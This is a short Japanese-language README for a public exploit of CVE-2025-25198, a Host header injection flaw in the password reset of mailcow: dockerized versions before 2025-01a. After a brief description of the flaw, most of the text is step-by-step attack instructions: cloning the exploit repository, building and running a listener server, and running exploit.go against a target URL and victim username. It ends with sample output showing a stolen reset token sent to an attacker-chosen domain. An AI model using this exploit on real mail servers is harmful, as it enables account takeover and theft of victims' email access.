
パスワードリセットトークンをMailcowのHostヘッダーインジェクション攻撃から取得します。
mailcow: dockerized は、Docker ベースのオープンソースのグループウェア/メールスイートです。バージョン 2025-01a より前のバージョンでは、mailcow のパスワードリセット機能に脆弱性があり、攻撃者が Host HTTP ヘッダーを操作して、攻撃者が制御するドメインを指すパスワードリセットリンクを生成できます。ユーザーがこの改ざんされたリンクをクリックすると、アカウント乗っ取りにつながる可能性があります。
すべてのリクエストを待ち受ける HTTPS サーバーをセットアップし、選択した <IP> を Host ヘッダーに含む POST リクエストを Web サイトに送信します。Burpsuite を使用してリクエストを送信し、サーバーでトークンを取得することもできます。
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <[email protected]> --host <ip>:<port> <--insecure | optional >
しばらく待つと、サーバーは使用できるトークンを出力します:
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245